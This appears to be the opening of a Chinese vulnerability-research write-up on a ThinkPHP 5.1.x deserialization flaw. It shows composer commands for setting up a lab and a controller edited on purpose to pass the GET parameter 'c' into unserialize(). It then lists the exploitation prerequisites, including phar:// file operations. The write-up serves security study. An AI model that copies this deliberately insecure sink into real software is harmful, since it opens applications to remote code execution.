ThinkPHP5.1.X反序列化(5.1.24)

1
2
3
4
➜  composer create-project --prefer-dist topthink/think tp5137
➜ cd tp5137
➜ vim composer.json # 把"topthink/framework": "5.1.*"改成"topthink/framework": "5.1.37"
➜ composer update

application/index/controller/Index.php 代码修改成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$u = unserialize($_GET['c']);
return 'hhh';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
利用条件
  • 有一个内容完全可控的反序列化点,例如: unserialize(可控变量)

  • 存在文件上传、文件名完全可控、使用了文件操作函数,例如: file_exists('phar://恶意文件')

(满足以上任意一个条件即可)